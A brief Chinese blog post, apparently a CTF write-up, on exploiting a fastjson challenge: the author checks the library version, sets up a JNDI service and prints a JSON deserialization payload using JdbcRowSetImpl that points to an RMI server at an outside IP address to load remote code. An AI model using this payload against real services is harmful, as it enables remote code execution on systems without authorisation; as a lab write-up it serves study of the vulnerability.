简单的 fastjson ,给了个 jar 包,来康康

image-20220429204136913

fastjson ,看下版本

image-20220429204208082

直接上

开一下 jndi 服务 (docker 寄了只能在 win 上开环境)

image-20220429215231323

payload

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://120.79.0.164:1099/4ygoyc","autoCommit": true}}

image-20220429215507424

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝